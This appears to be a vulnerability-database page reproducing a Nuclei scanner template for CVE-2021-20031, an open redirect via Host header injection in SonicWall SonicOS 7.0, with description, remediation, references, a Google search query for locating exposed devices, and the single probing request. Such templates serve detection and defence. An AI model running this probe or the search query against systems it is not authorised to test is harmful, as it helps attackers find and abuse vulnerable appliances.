BiuPoC

CVE-2021-20031: SonicWall SonicOS 7.0 - Open Redirect

2025-08-01 SonicWall SonicOS PoC Public

Description

SonicWall SonicOS 7.0 contains an open redirect vulnerability. The values of the Host headers are implicitly set as trusted. An attacker can spoof a particular host header, allowing the attacker to render arbitrary links, obtain sensitive information, modify data, execute unauthorized operations. and/or possibly redirect a user to a malicious site.

PoC

id: CVE-2021-20031

info:
  name: SonicWall SonicOS 7.0 - Open Redirect
  author: gy741
  severity: medium
  description: SonicWall SonicOS 7.0 contains an open redirect vulnerability. The values of the Host headers are implicitly set as trusted. An attacker can spoof a particular host header, allowing the attacker to render arbitrary links, obtain sensitive information, modify data, execute unauthorized operations. and/or possibly redirect a user to a malicious site.
  impact: |
    Attackers can redirect users to malicious sites, steal sensitive information, or perform unauthorized operations, leading to potential data breaches or phishing attacks.
  remediation: |
    Implement proper validation and sanitization of Host headers to prevent spoofing and open redirects.
  reference:
    - https://www.exploit-db.com/exploits/50414
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019
    - http://packetstormsecurity.com/files/164502/Sonicwall-SonicOS-7.0-Host-Header-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20031
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20031
    cwe-id: CWE-601
    epss-score: 0.13041
    epss-percentile: 0.96253
    cpe: cpe:2.3:h:sonicwall:nsa_2650:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sonicwall
    product: nsa_2650
    google-query: inurl:"auth.html" intitle:"SonicWall"
  tags: cve,cve2021,sonicwall,redirect,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Host: "{{randstr}}.tld"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'https://{{randstr}}.tld/auth.html'
          - 'Please be patient as you are being re-directed'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cba8442016b4c3c3fb2c8cb4d34877a8c01ae05803a25279db4daed356027655022010af523fc9fa8e1a932b97163bf86f513c2c8c34182c46e888fd3790bcb544ba:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20031.yaml

References

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